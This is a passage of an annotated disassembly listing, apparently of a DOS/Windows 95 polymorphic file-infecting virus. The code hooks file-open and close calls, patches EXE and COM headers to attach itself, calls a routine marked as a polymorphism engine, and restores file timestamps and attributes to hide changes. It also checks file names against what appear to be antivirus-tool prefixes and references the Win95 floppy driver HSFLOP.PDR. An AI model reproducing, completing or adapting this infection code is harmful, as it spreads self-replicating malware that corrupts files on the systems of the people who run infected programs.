  651. 03C1                    cmp     ah,3Dh                  ; '='
  652. 03C4                    jne     loc_36                  ; Jump if not equal
  653. 03C6                    call    sub_40                  ; (1005)
  654. 03C9    loc_36:                                         ;  xref 9804:03C4
  655. 03C9                    cmp     ah,3Eh                  ; '>'
  656. 03CC                    jne     loc_37                  ; Jump if not equal
  657. 03CE                    popf                            ; Pop flags
  658. 03CF                    call    sub_45                  ; (1242)
  659. 03D2                    retf    2                       ; Return far
  660. 03D5    loc_37:                                         ;  xref 9804:03CC
  661. 03D5                    popf                            ; Pop flags
  662. 03D6                    jmp     dword ptr cs:data_39    ; (9804:0164=4A0h)
  663. 03DB    loc_38:                                         ;  xref 9804:0399, 039E, 03A3
  664. 03DB                    and     cs:data_59,4            ; (9804:018C=4)
  665. 03E1                    push    ax
  666. 03E2                    push    bx
  667. 03E3                    push    cx
  668. 03E4                    push    dx
  669. 03E5                    push    di
  670. 03E6                    push    es
  671. 03E7                    push    ds
  672. 03E8                    mov     ah,62h                  ; 'b'
  673. 03EA                    call    sub_5                   ; (02C5)
  674. 03ED                    jc      loc_40                  ; Jump if carry Set
  675. 03EF                    cld                             ; Clear direction
  676. 03F0                    mov     es,bx
  677. 03F2                    mov     es,es:data_1e           ; (0000:002C=6Fh)
  678. 03F7                    xor     di,di                   ; Zero register
  679. 03F9                    mov     al,0
  680. 03FB    loc_39:                                         ;  xref 9804:0403
  681. 03FB                    mov     cx,0FFFFh
  682. 03FE                    repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  683. 0400                    cmp     es:[di],al
  684. 0403                    jne     loc_39                  ; Jump if not equal
  685. 0405                    add     di,3
  686. 0408                    mov     dx,di
  687. 040A                    push    es
  688. 040B                    pop     ds
  689. 040C                    mov     ax,3D00h
  690. 040F                    call    sub_5                   ; (02C5)
  691. 0412                    jc      loc_40                  ; Jump if carry Set
  692. 0414                    mov     bx,ax
  693. 0416                    call    sub_45                  ; (1242)
  694. 0419    loc_40:                                         ;  xref 9804:03ED, 0412
  695. 0419                    pop     ds
  696. 041A                    pop     es
  697. 041B                    pop     di
  698. 041C                    pop     dx
  699. 041D                    pop     cx
  700. 041E                    pop     bx
  701. 041F                    pop     ax
  702. 0420                    popf                            ; Pop flags
  703. 0421                    jmp     dword ptr cs:[160h]     ; (9804:0160=0FB2h)
  704.  
  705.         ;==========================================================================
  706.         ;                              SUBROUTINE
  707.         ;
  708.         ;         Called from:   9804:03AA
  709.         ;==========================================================================
  710.  
  711. 0426    sub_6           proc    near
  712. 0426                    push    ax
  713. 0427                    push    bx
  714. 0428                    push    cx
  715. 0429                    push    dx
  716. 042A                    push    es
  717. 042B                    push    ds
  718. 042C                    push    di
  719. 042D                    push    si
  720. 042E                    call    sub_7                   ; (04C6)
  721. 0431                    call    sub_42                  ; (11CA)
  722. 0434                    call    sub_12                  ; (068B)
  723. 0437                    call    sub_15                  ; (06FE)
  724. 043A                    pushf                           ; Push flags
  725. 043B                    push    ds
  726. 043C                    push    cs
  727. 043D                    pop     ds
  728. 043E   ,                mov     di,offset data_66       ; (9804:073B='LP.EXE9E.EXE')
  729. 0441   ,                mov     si,offset data_67       ; (9804:0748='LP.EXED.COME')
  730. 0444                    add     bx,4
  731. 0447                    mov     cx,bx
  732. 0449                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  733. 044B                    pop     ds
  734. 044C                    popf                            ; Pop flags
  735. 044D                    jc      loc_46                  ; Jump if carry Set
  736. 044F                    mov     ax,3D02h
  737. 0452                    call    sub_5                   ; (02C5)
  738. 0455                    xchg    bx,ax
  739. 0456                    call    sub_10                  ; (0669)
  740. 0459                    mov     ax,cs:data_51           ; (9804:017E=61F7h)
  741. 045D                    and     al,1Fh
  742. 045F                    push    ax
  743. 0460                    mov     ah,3Fh                  ; '?'
  744. 0462                    mov     cx,1Ch
  745. 0465                    push    cs
  746. 0466                    pop     ds
  747. 0467                    push    ds
  748. 0468                    pop     es
  749. 0469                    mov     dx,1E6Ah
  750. 046C                    call    sub_5                   ; (02C5)
  751. 046F                    mov     si,dx
  752. 0471                    cld                             ; Clear direction
  753. 0472                    lodsw                           ; String [si] to ax
  754. 0473                    cmp     ax,5A4Dh
  755. 0476                    je      loc_41                  ; Jump if equal
  756. 0478                    cmp     ax,4D5Ah
  757. 047B                    jne     loc_43                  ; Jump if not equal
  758. 047D    loc_41:                                         ;  xref 9804:0476
  759. 047D                    pop     ax
  760. 047E                    test    data_59,4               ; (9804:018C=4)
  761. 0483                    jz      loc_42                  ; Jump if zero
  762. 0485                    cmp     al,11h
  763. 0487                    je      loc_45                  ; Jump if equal
  764. 0489                    call    sub_8                   ; (04EB)
  765. 048C                    jnc     loc_44                  ; Jump if carry=0
  766. 048E                    jmp     short loc_46            ; (04B2)
  767. 0490    loc_42:                                         ;  xref 9804:0483
  768. 0490                    cmp     al,11h
  769. 0492                    jne     loc_45                  ; Jump if not equal
  770. 0494                    call    sub_41                  ; (107B)
  771. 0497                    jnc     loc_45                  ; Jump if carry=0
  772. 0499                    jmp     short loc_46            ; (04B2)
  773. 049B    loc_43:                                         ;  xref 9804:047B
  774. 049B                    pop     ax
  775. 049C                    cmp     al,11h
  776. 049E                    je      loc_46                  ; Jump if equal
  777. 04A0                    call    sub_9                   ; (05F1)
  778. 04A3                    jc      loc_45                  ; Jump if carry Set
  779. 04A5    loc_44:                                         ;  xref 9804:048C
  780. 04A5                    mov     ax,data_51              ; (9804:017E=61F7h)
  781. 04A8                    and     al,0E0h
  782. 04AA                    or      al,11h
  783. 04AC                    mov     data_51,ax              ; (9804:017E=61F7h)
  784. 04AF    loc_45:                                         ;  xref 9804:0487, 0492, 0497, 04A3
  785. 04AF                    call    sub_11                  ; (067A)
  786. 04B2    loc_46:                                         ;  xref 9804:044D, 048E, 0499, 049E
  787. 04B2                    mov     ah,3Eh                  ; '>'
  788. 04B4                    call    sub_5                   ; (02C5)
  789. 04B7                    call    sub_13                  ; (069F)
  790. 04BA                    call    sub_43                  ; (1209)
  791. 04BD                    pop     si
  792. 04BE                    pop     di
  793. 04BF                    pop     ds
  794. 04C0                    pop     es
  795. 04C1                    pop     dx
  796. 04C2                    pop     cx
  797. 04C3                    pop     bx
  798. 04C4                    pop     ax
  799. 04C5                    retn
  800.         sub_6           endp
  801.  
  802.  
  803.         ;==========================================================================
  804.         ;                              SUBROUTINE
  805.         ;
  806.         ;         Called from:   9804:042E
  807.         ;==========================================================================
  808.  
  809. 04C6    sub_7           proc    near
  810. 04C6                    call    sub_16                  ; (0778)
  811. 04C9                    mov     ax,160Ah
  812. 04CC                    int     2Fh                     ; ??int non-standard interrupt
  813. 04CE                    or      ax,ax                   ; Zero ?
  814. 04D0                    jnz     loc_ret_48              ; Jump if not zero
  815. 04D2                    cmp     bh,4
  816. 04D5                    jb      loc_ret_48              ; Jump if below
  817. 04D7                    mov     ax,5445h
  818. 04DA                    int     13h                     ; ??int non-standard interrupt
  819. 04DC                    cmp     ax,4554h
  820. 04DF                    jne     loc_ret_48              ; Jump if not equal
  821. 04E1                    call    sub_16                  ; (0778)
  822. 04E4                    jc      loc_47                  ; Jump if carry Set
  823. 04E6                    retn
  824. 04E7    loc_47:                                         ;  xref 9804:04E4
  825. 04E7                    call    sub_71                  ; (1AE8)
  826.  
  827. 04EA    loc_ret_48:                                     ;  xref 9804:04D0, 04D5, 04DF
  828. 04EA                    retn
  829.         sub_7           endp
  830.  
  831.  
  832.         ;==========================================================================
  833.         ;                              SUBROUTINE
  834.         ;
  835.         ;         Called from:   9804:0489, 129E
  836.         ;==========================================================================
  837.  
  838. ;---------------- Reloc EXE header -------------------------------
  839. 04EB    sub_8           proc    near
  840. 04EB                    cmp     word ptr ds:data_169e,40h ; (9804:1E82=0)
  841. 04F0                    jne     loc_50                  ; Jump if not equal
  842. 04F2                    stc                             ; Set carry flag
  843. 04F3    loc_49:                                         ;  xref 9804:0513
  844. 04F3                    jmp     loc_ret_56              ; (05F0)
  845. 04F6    loc_50:                                         ;  xref 9804:04F0
  846. 04F6   ,                mov     di,offset data_42       ; (9804:016B=10h)
  847. 04F9   ,                mov     si,data_166e            ; (9804:1E7E=0)
  848. 04FC                    movsw                           ; Mov [si] to es:[di]
  849. 04FD                    movsw                           ; Mov [si] to es:[di]
  850. 04FE   ,                mov     si,data_164e            ; (9804:1E78=0)
  851. 0501   ,                mov     di,offset data_44       ; (9804:0171=11h)
  852. 0504                    movsw                           ; Mov [si] to es:[di]
  853. 0505                    sub     di,4
  854. 0508                    movsw                           ; Mov [si] to es:[di]
  855. 0509                    mov     si,dx
  856. 050B                    mov     data_48,1               ; (9804:0179=1)
  857. 0510                    call    sub_47                  ; (1346)
  858. 0513                    jc      loc_49                  ; Jump if carry Set
  859. 0515                    mov     ax,data_51              ; (9804:017E=61F7h)
  860. 0518                    mov     data_47,ax              ; (9804:0177=61F7h)
  861. 051B                    mov     ax,[si+2]
  862. 051E                    mov     data_45,ax              ; (9804:0173=9)
  863. 0521                    mov     ax,[si+4]
  864. 0524                    mov     data_46,ax              ; (9804:0175=24h)
  865. 0527                    mov     ax,[si+4]
  866. 052A                    mov     dx,200h
  867. 052D                    cmp     word ptr [si+2],0
  868. 0531                    je      loc_51                  ; Jump if equal
  869. 0533                    dec     ax
  870. 0534    loc_51:                                         ;  xref 9804:0531
  871. 0534                    mul     dx                      ; dx:ax = reg * ax
  872. 0536                    mov     word ptr data_49+2,dx   ; (9804:017C=400h)
  873. 053A                    mov     dx,[si+2]
  874. 053D                    add     ax,dx
  875. 053F                    adc     word ptr data_49+2,0    ; (9804:017C=400h)
  876. 0544                    mov     data_49,ax              ; (9804:017A=1E73h)
  877. 0547                    push    ax
  878. 0548                    xor     cx,cx                   ; Zero register
  879. 054A                    mov     dx,cx
  880. 054C                    mov     ax,4202h
  881. 054F                    call    sub_5                   ; (02C5)
  882. 0552                    sub     ax,data_49              ; (9804:017A=1E73h)
  883. 0556                    jz      loc_52                  ; Jump if zero
  884. 0558                    pop     ax
  885. 0559                    stc                             ; Set carry flag
  886. 055A                    jmp     loc_ret_56              ; (05F0)
  887. 055D    loc_52:                                         ;  xref 9804:0556
  888. 055D                    sub     dx,word ptr data_49+2   ; (9804:017C=400h)
  889. 0561                    jz      loc_53                  ; Jump if zero
  890. 0563                    pop     ax
  891. 0564                    stc                             ; Set carry flag
  892. 0565                    jmp     loc_ret_56              ; (05F0)
  893. 0568    loc_53:                                         ;  xref 9804:0561
  894. 0568                    pop     ax
  895. 0569                    mov     cx,word ptr data_49+2   ; (9804:017C=400h)
  896. 056D                    mov     dx,ax
  897. 056F                    mov     ax,4200h
  898. 0572                    call    sub_5                   ; (02C5)
  899. 0575                    mov     ax,1E7Bh
  900. 0578                    mov     dx,[si+2]
  901. 057B                    add     dx,ax
  902. 057D    loc_54:                                         ;  xref 9804:0588
  903. 057D                    inc     word ptr [si+4]
  904. 0580                    sub     dx,200h
  905. 0584                    cmp     dx,200h
  906. 0588                    ja      loc_54                  ; Jump if above
  907. 058A                    jnz     loc_55                  ; Jump if not zero
  908. 058C                    xor     dx,dx                   ; Zero register
  909. 058E    loc_55:                                         ;  xref 9804:058A
  910. 058E                    mov     [si+2],dx
  911. 0591                    mov     ax,[si+8]
  912. 0594                    mov     cx,10h
  913. 0597                    mul     cx                      ; dx:ax = reg * ax
  914. 0599                    mov     cx,data_49              ; (9804:017A=1E73h)
  915. 059D                    sub     cx,ax
  916. 059F                    sbb     word ptr data_49+2,dx   ; (9804:017C=400h)
  917. 05A3                    mov     di,word ptr data_49+2   ; (9804:017C=400h)
  918. 05A7                    mov     si,cx
  919. 05A9                    mov     dx,di
  920. 05AB                    mov     ax,si
  921. 05AD                    mov     cx,10h
  922. 05B0                    div     cx                      ; ax,dx rem=dx:ax/reg
  923. 05B2                    mov     di,ax
  924. 05B4                    mov     si,dx
  925. 05B6                    mov     data_78,si              ; (9804:0E6E=9)
  926. 05BA                    mov     word ptr ds:[1],si      ; (9804:0001=9)
  927. 05BE                    add     si,1E6Ah
  928. 05C2                    mov     data_49,si              ; (9804:017A=1E73h)
  929. 05C6                    mov     word ptr data_49+2,di   ; (9804:017C=400h)
  930. 05CA                    cld                             ; Clear direction
  931. 05CB   ,                mov     si,offset data_49       ; (9804:017A=73h)
  932. 05CE   ,                mov     di,data_166e            ; (9804:1E7E=0)
  933. 05D1                    movsw                           ; Mov [si] to es:[di]
  934. 05D2                    movsw                           ; Mov [si] to es:[di]
  935. 05D3                    call    sub_23                  ;// Polymorphism (0992)
  936. 05D6                    jc      loc_ret_56              ; Jump if carry Set
  937. 05D8                    xor     cx,cx                   ; Zero register
  938. 05DA                    mov     dx,cx
  939. 05DC                    mov     ax,4200h
  940. 05DF                    call    sub_5                   ; (02C5)
  941. 05E2                    call    sub_44                  ; (1224)
  942. 05E5                    mov     dx,1E6Ah
  943. 05E8                    mov     ah,40h                  ; '@'
  944. 05EA                    mov     cx,1Ch
  945. 05ED                    call    sub_5                   ; (02C5)
  946.  
  947. 05F0    loc_ret_56:                                     ;  xref 9804:04F3, 055A, 0565, 05D6
  948. 05F0                    retn
  949.         sub_8           endp
  950.  
  951.  
  952.         ;==========================================================================
  953.         ;                              SUBROUTINE
  954.         ;
  955.         ;         Called from:   9804:04A0, 1297
  956.         ;==========================================================================
  957.  
  958. ;------------------- Reloc COM header ---------------------------------
  959. 05F1    sub_9           proc    near
  960. 05F1                    mov     data_48,0               ; (9804:0179=1)
  961. 05F6                    cld                             ; Clear direction
  962. 05F7                    mov     di,16Bh
  963. 05FA                    mov     si,1E6Ah
  964. 05FD                    call    sub_47                  ; (1346)
  965. 0600                    jc      loc_57                  ; Jump if carry Set
  966. 0602                    mov     cx,3
  967. 0605                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  968. 0607                    mov     dx,cx
  969. 0609                    mov     ax,4202h
  970. 060C                    call    sub_5                   ; (02C5)
  971. 060F                    or      dx,dx                   ; Zero ?
  972. 0611                    jz      loc_58                  ; Jump if zero
  973. 0613    loc_57:                                         ;  xref 9804:0600, 0619
  974. 0613                    stc                             ; Set carry flag
  975. 0614                    jmp     short loc_ret_60        ; (0668)
  976. 0616    loc_58:                                         ;  xref 9804:0611
  977. 0616                    cmp     ax,1Eh
  978. 0619                    jb      loc_57                  ; Jump if below
  979. 061B                    xor     cx,cx                   ; Zero register
  980. 061D                    mov     dx,cx
  981. 061F                    mov     ax,4202h
  982. 0622                    call    sub_5                   ; (02C5)
  983. 0625                    cmp     ax,0D995h
  984. 0628                    jb      loc_59                  ; Jump if below
  985. 062A                    stc                             ; Set carry flag
  986. 062B                    jmp     short loc_ret_60        ; (0668)
  987. 062D    loc_59:                                         ;  xref 9804:0628
  988. 062D                    mov     data_78,ax              ; (9804:0E6E=9)
  989. 0630                    add     data_78,100h            ; (9804:0E6E=9)
  990. 0636                    mov     word ptr ds:[1],ax      ; (9804:0001=9)
  991. 0639                    add     word ptr ds:[1],100h    ; (9804:0001=9)
  992. 063F   ,                mov     di,offset data_41       ; (9804:0168=90h)
  993. 0642                    mov     byte ptr [di],0E9h
  994. 0645                    sub     ax,3
  995. 0648                    add     ax,1E6Ah
  996. 064B                    mov     [di+1],ax
  997. 064E                    call    sub_23                  ;// Polymorphism (0992)
  998. 0651                    jc      loc_ret_60              ; Jump if carry Set
  999. 0653                    xor     cx,cx                   ; Zero register
  1000. 0655                    mov     dx,cx
  1001. 0657                    mov     ax,4200h
  1002. 065A                    call    sub_5                   ; (02C5)
  1003. 065D                    mov     cx,3
  1004. 0660                    mov     dx,168h
  1005. 0663                    mov     ah,40h                  ; '@'
  1006. 0665                    call    sub_5                   ; (02C5)
  1007.  
  1008. 0668    loc_ret_60:                                     ;  xref 9804:0614, 062B, 0651
  1009. 0668                    retn
  1010.         sub_9           endp
  1011.  
  1012.  
  1013.         ;==========================================================================
  1014.         ;                              SUBROUTINE
  1015.         ;
  1016.         ;         Called from:   9804:0456, 1046, 1256
  1017.         ;==========================================================================
  1018.  
  1019. 0669    sub_10          proc    near
  1020. 0669                    mov     ax,5700h
  1021. 066C                    call    sub_5                   ; (02C5)
  1022. 066F                    mov     cs:data_51,cx           ; (9804:017E=61F7h)
  1023. 0674                    mov     word ptr cs:data_51+2,dx ; (9804:0180=2099h)
  1024. 0679                    retn
  1025.         sub_10          endp
  1026.  
  1027.  
  1028.         ;==========================================================================
  1029.         ;                              SUBROUTINE
  1030.         ;
  1031.         ;         Called from:   9804:04AF, 1064, 12AD
  1032.         ;==========================================================================
  1033.  
  1034. 067A    sub_11          proc    near
  1035. 067A                    mov     ax,5701h
  1036. 067D                    mov     cx,cs:data_51           ; (9804:017E=61F7h)
  1037. 0682                    mov     dx,word ptr cs:data_51+2 ; (9804:0180=2099h)
  1038. 0687                    call    sub_5                   ; (02C5)
  1039. 068A                    retn
  1040.         sub_11          endp
  1041.  
  1042.  
  1043.         ;==========================================================================
  1044.         ;                              SUBROUTINE
  1045.         ;
  1046.         ;         Called from:   9804:0434, 1010
  1047.         ;==========================================================================
  1048.  
  1049. 068B    sub_12          proc    near
  1050. 068B                    mov     ax,4300h
  1051. 068E                    call    sub_5                   ; (02C5)
  1052. 0691                    mov     cs:data_56,cx           ; (9804:0186=9804h)
  1053. 0696                    mov     ax,4301h
  1054. 0699                    xor     cx,cx                   ; Zero register
  1055. 069B                    call    sub_5                   ; (02C5)
  1056. 069E                    retn
  1057.         sub_12          endp
  1058.  
  1059.  
  1060.         ;==========================================================================
  1061.         ;                              SUBROUTINE
  1062.         ;
  1063.         ;         Called from:   9804:04B7, 106C
  1064.         ;==========================================================================
  1065.  
  1066. 069F    sub_13          proc    near
  1067. 069F                    mov     ax,4301h
  1068. 06A2                    mov     cx,cs:data_56           ; (9804:0186=9804h)
  1069. 06A7                    call    sub_5                   ; (02C5)
  1070. 06AA                    retn
  1071.         sub_13          endp
  1072.  
  1073.  
  1074.         ;==========================================================================
  1075.         ;                              SUBROUTINE
  1076.         ;
  1077.         ;         Called from:   9804:0731, 1341
  1078.         ;==========================================================================
  1079.  
  1080. 06AB    sub_14          proc    near
  1081. 06AB                    push    ds
  1082. 06AC                    push    cs
  1083. 06AD                    pop     ds
  1084. 06AE                    cld                             ; Clear direction
  1085. 06AF   ,                mov     si,offset data_67       ; (9804:0748='LP.EXED.COME')
  1086. 06B2                    sub     bx,4
  1087. 06B5                    jc      loc_61                  ; Jump if carry Set
  1088. 06B7                    mov     ax,[si]
  1089. 06B9                    cmp     ax,4254h
  1090. 06BC                    stc                             ; Set carry flag
  1091. 06BD                    jz      loc_61                  ; Jump if zero
  1092. 06BF                    cmp     ax,2D46h
  1093. 06C2                    je      loc_63                  ; Jump if equal
  1094. 06C4                    cmp     ax,5649h
  1095. 06C7                    je      loc_63                  ; Jump if equal
  1096. 06C9                    cmp     ax,4843h
  1097. 06CC                    je      loc_62                  ; Jump if equal
  1098. 06CE                    mov     al,56h                  ; 'V'
  1099. 06D0   ,                mov     di,offset data_67       ; (9804:0748='LP.EXED.COME')
  1100. 06D3                    mov     cx,bx
  1101. 06D5                    inc     cx
  1102. 06D6                    repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  1103. 06D8                    or      cx,cx                   ; Zero ?
  1104. 06DA                    stc                             ; Set carry flag
  1105. 06DB                    jnz     loc_61                  ; Jump if not zero
  1106. 06DD   ,                mov     di,offset data_67       ; (9804:0748='LP.EXED.COME')
  1107. 06E0   ,                mov     si,offset data_68       ; (9804:0755=43h)
  1108. 06E3                    mov     cx,bx
  1109. 06E5                    repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  1110. 06E7                    or      cx,cx                   ; Zero ?
  1111. 06E9                    stc                             ; Set carry flag
  1112. 06EA                    jz      loc_61                  ; Jump if zero
  1113. 06EC                    clc                             ; Clear carry flag
  1114. 06ED    loc_61:                                         ;  xref 9804:06B5, 06BD, 06DB, 06EA
  1115. 06ED                    pop     ds
  1116. 06EE                    retn
  1117. 06EF    loc_62:                                         ;  xref 9804:06CC
  1118. 06EF                    or      data_59,2               ; (9804:018C=4)
  1119. 06F4                    pop     ds
  1120. 06F5                    retn
  1121. 06F6    loc_63:                                         ;  xref 9804:06C2, 06C7
  1122. 06F6                    or      byte ptr ds:data_17e,1  ; (0000:018C=0)
  1123. 06FB                    stc                             ; Set carry flag
  1124. 06FC                    pop     ds
  1125. 06FD                    retn
  1126.         sub_14          endp
  1127.  
  1128.  
  1129.         ;==========================================================================
  1130.         ;                              SUBROUTINE
  1131.         ;
  1132.         ;         Called from:   9804:0437, 101C
  1133.         ;==========================================================================
  1134.  
  1135. 06FE    sub_15          proc    near
  1136. 06FE                    push    ds
  1137. 06FF                    pop     es
  1138. 0700                    xor     al,al                   ; Zero register
  1139. 0702                    mov     di,dx
  1140. 0704                    xor     cx,cx                   ; Zero register
  1141. 0706                    mov     cl,0FFh
  1142. 0708                    mov     bx,cx
  1143. 070A                    cld                             ; Clear direction
  1144. 070B                    repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  1145. 070D                    dec     di
  1146. 070E                    dec     di
  1147. 070F                    sub     bx,cx
  1148. 0711                    mov     cx,bx
  1149. 0713                    std                             ; Set direction flag
  1150. 0714                    mov     al,5Ch                  ; '\'
  1151. 0716                    repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  1152. 0718                    sub     bx,cx
  1153. 071A                    mov     cx,bx
  1154. 071C                    inc     di
  1155. 071D                    mov     al,es:[di]
  1156. 0720                    cmp     al,5Ch                  ; '\'
  1157. 0722                    jne     loc_64                  ; Jump if not equal
  1158. 0724                    inc     di
  1159. 0725                    mov     si,di
  1160. 0727   ,                mov     di,offset data_67       ; (9804:0748='LP.EXED.COME')
  1161. 072A                    dec     cx
  1162. 072B                    dec     bx
  1163. 072C                    cld                             ; Clear direction
  1164. 072D                    push    cs
  1165. 072E                    pop     es
  1166. 072F                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  1167. 0731                    call    sub_14                  ; (06AB)
  1168. 0734                    retn
  1169. 0735    loc_64:                                         ;  xref 9804:0722
  1170. 0735                    mov     bx,0Ah
  1171. 0738                    push    cs
  1172. 0739                    pop     es
  1173. 073A                    retn
  1174.         sub_15          endp
  1175.  
  1176. 073B                    dec     sp
  1177. 073C                    push    ax
  1178. 073D                    db      '.EXE9E.EXE'
  1179. 0747                    db      0
  1180. 0748    data_67         db      'LP.EXED.COME', 0       ;  xref 9804:0441, 06AF, 06D0, 06DD
  1181.                                                         ;            0727, 1030, 12F7
  1182. 0755    data_68         db      43h                     ;  xref 9804:06E0
  1183. 0756                    db       4Fh, 4Dh, 4Dh, 41h, 4Eh, 44h
  1184.  
  1185. ;------- Win95's Floppy drive driver (?) -----------------------------------
  1186. 075C    data_69         db      '\SYSTEM\IOSUBSYS\HSFLOP.PDR', 0 ;  xref 9804:07C4
  1187.  
  1188.         ;==========================================================================
  1189.         ;                              SUBROUTINE
  1190.         ;
  1191.         ;         Called from:   9804:0106, 04C6, 04E1
  1192.         ;==========================================================================
  1193.  
  1194. 0778    sub_16          proc    near
  1195. 0778                    push    ds
  1196. 0779                    push    dx
  1197. 077A                    xor     di,di                   ; Zero register
  1198. 077C    loc_65:                                         ;  xref 9804:07D7
  1199. 077C                    mov     cx,0FFFFh
  1200. 077F                    mov     ah,62h
  1201. 0781                    int     21h                     ; DOS Services  ah=function 62h
  1202.                                                         ;  get Program Segment Prefix bx
  1203. 0783                    mov     es,bx
  1204. 0785                    mov     es,es:data_1e           ; (0000:002C=6Fh)
  1205. 078A                    cld                             ; Clear direction
  1206. 078B    loc_66:                                         ;  xref 9804:079C, 07A6
  1207. 078B                    mov     al,0
  1208. 078D                    repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  1209. 078F                    mov     ax,es:[di]
  1210. 0792                    or      al,al                   ; Zero ?
  1211. 0794                    jz      loc_68                  ; Jump if zero
  1212. 0796                    and     ax,0DFDFh
  1213. 0799                    cmp     ax,4957h
  1214. 079C                    jne     loc_66                  ; Jump if not equal
  1215. 079E                    mov     al,es:[di+2]
  1216. 07A2                    and     al,0DFh
  1217. 07A4                    cmp     al,4Eh                  ; 'N'
  1218. 07A6                    jne     loc_66                  ; Jump if not equal
  1219. 07A8                    mov     al,3Dh                  ; '='
  1220. 07AA                    repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  1221. 07AC                    jcxz    loc_68                  ; Jump if cx=0
  1222. 07AE                    mov     si,di
  1223. 07B0                    mov     bx,di
  1224. 07B2   ,                mov     di,offset data_157      ; (9804:1E6A=98h)
  1225. 07B5                    mov     dx,di
  1226. 07B7                    push    es
  1227. 07B8                    pop     ds
  1228. 07B9                    push    cs
  1229. 07BA                    pop     es
  1230. 07BB    loc_67:                                         ;  xref 9804:07BF
  1231. 07BB                    lodsb                           ; String [si] to al
  1232. 07BC                    stosb                           ; Store al to es:[di]
  1233. 07BD                    or      al,al                   ; Zero ?
  1234. 07BF                    jnz     loc_67                  ; Jump if not zero
  1235. 07C1                    dec     di
  1236. 07C2                    push    cs
  1237. 07C3                    pop     ds
  1238. 07C4   ,                mov     si,offset data_69       ; (9804:075C='\SYSTEM\IOSUBSYS')
  1239. 07C7                    mov     cx,1Ch
  1240. 07CA                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  1241. 07CC                    mov     ah,41h                  ; 'A'
  1242. 07CE                    call    sub_5                   ; (02C5)
  1243. 07D1                    jnc     loc_68                  ; Jump if carry=0
  1244. 07D3                    cmp     al,2
  1245. 07D5                    mov     di,bx
  1246. 07D7                    jz      loc_65                  ; Jump if zero
  1247. 07D9                    stc                             ; Set carry flag
  1248. 07DA    loc_68:                                         ;  xref 9804:0794, 07AC, 07D1
  1249. 07DA                    pop     dx
  1250. 07DB                    pop     ds
  1251. 07DC                    retn
  1252.         sub_16          endp
  1253.  
  1254. 07DD                    add     [bp+si],bl
  1255. 07DF                    add     bl,[bp+si]
  1256. 07E1                    add     al,1Ah
  1257. 07E3                    add     dx,[bx+si]
  1258. 07E5                    or      [bx+si],dl
  1259. 07E7    ;*              pop     cs                      ; Dangerous-8088 only
  1260. 07E7                    db      0Fh
  1261. 07E8                    adc     [bp+di],cl
  1262. 07EA                    and     [di],cx
  1263. 07EC                    and     [bx+si],bx
  1264. 07EE                    and     [bx+di],bx
  1265. 07F0                    and     [bp+si],bp
  1266. 07F2                    and     [si],bp
  1267. 07F4                    and     [bx+si],si
  1268. 07F6                    and     [di+21h],cx
  1269. 07F9                    push    cx
  1270. 07FA                    and     [si+21h],dx
  1271. 07FD                    db       62h, 21h, 0Bh, 21h, 0Dh, 21h
  1272. 0803    data_71         dw      2BCDh                   ; Data table (indexed access)
  1273.                                                         ;  xref 9804:086C, 0E4D
  1274. 0805                    db      0CDh, 2Ch,0CDh, 2Dh,0CDh, 28h
  1275. 080B                    db      0CDh, 1Ch,0CDh, 08h,0CDh, 0Ah
  1276. 0811                    db      0CDh, 0Bh,0CDh, 0Ch,0CDh, 0Dh
  1277. 0817                    db      0CDh, 0Fh,0CDh, 0Eh,0CDh, 70h
  1278. 081D                    db      0CDh, 71h,0CDh, 72h,0CDh, 73h
  1279. 0823                    db      0CDh, 74h,0CDh, 75h,0CDh, 76h
  1280. 0829                    db      0CDh, 77h,0CDh, 01h,0CCh,0CCh
  1281. 082F    data_72         db      'PXS[QYRZW_V^U]'        ;  xref 9804:0D12
  1282. 083D                    db       1Eh, 1Fh, 06h, 07h, 16h, 17h
  1283. 0843    data_73         dw      0D442h                  ;  xref 9804:097F, 0984
  1284. 0845    data_74         db      28h                     ;  xref 9804:0860, 0866, 087B, 0881
  1285.  
  1286.         ;==========================================================================
  1287.         ;                              SUBROUTINE
  1288.         ;
  1289.         ;         Called from:   9804:08A0
  1290.         ;==========================================================================
  1291.  
  1292. 0846    sub_17          proc    near
  1293. 0846    loc_69:                                         ;  xref 9804:0864, 087F
  1294. 0846                    call    sub_21                  ; (093A)
  1295. 0849                    test    ah,10h
  1296. 084C                    jz      loc_72                  ; Jump if zero
  1297. 084E                    cmp     bl,2
  1298. 0851                    je      loc_70                  ; Jump if equal
  1299. 0853                    cmp     bl,4
  1300. 0856                    je      loc_71                  ; Jump if equal
  1301. 0858                    jmp     short loc_72            ; (0897)
  1302. 085A    loc_70:                                         ;  xref 9804:0851, 085C
  1303. 085A                    add     al,40h                  ; '@'
  1304. 085C                    jnc     loc_70                  ; Jump if carry=0
  1305. 085E                    and     al,0FEh
  1306. 0860                    cmp     al,data_74              ; (9804:0845=28h)
  1307. 0864                    je      loc_69                  ; Jump if equal
  1308. 0866                    mov     data_74,al              ; (9804:0845=28h)
  1309. 0869                    push    si
  1310. 086A                    cbw                             ; Convrt byte to word
  1311. 086B                    xchg    bx,ax
  1312. 086C   ,                mov     si,offset data_71       ; (9804:0803=0CDh)
  1313. 086F                    mov     ax,[bx+si]
  1314. 0871                    pop     si
  1315. 0872                    mov     bl,2
  1316. 0874                    retn
  1317. 0875    loc_71:                                         ;  xref 9804:0856, 0877
  1318. 0875                    add     al,26h                  ; '&'
  1319. 0877                    jnc     loc_71                  ; Jump if carry=0
  1320. 0879                    and     al,0FEh
  1321. 087B                    cmp     al,data_74              ; (9804:0845=28h)
  1322. 087F                    je      loc_69                  ; Jump if equal
  1323. 0881                    mov     data_74,al              ; (9804:0845=28h)
  1324. 0884                    push    si
  1325. 0885                    cbw                             ; Convrt byte to word
  1326. 0886                    xchg    bx,ax
  1327. 0887   ,                mov     si,7DDh                 ; (9804:07DD=0)
  1328. 088A                    mov     ah,[bx+si]
  1329. 088C                    mov     dh,[bx+si+1]
  1330. 088F                    mov     al,0B4h
  1331. 0891                    mov     dl,0CDh
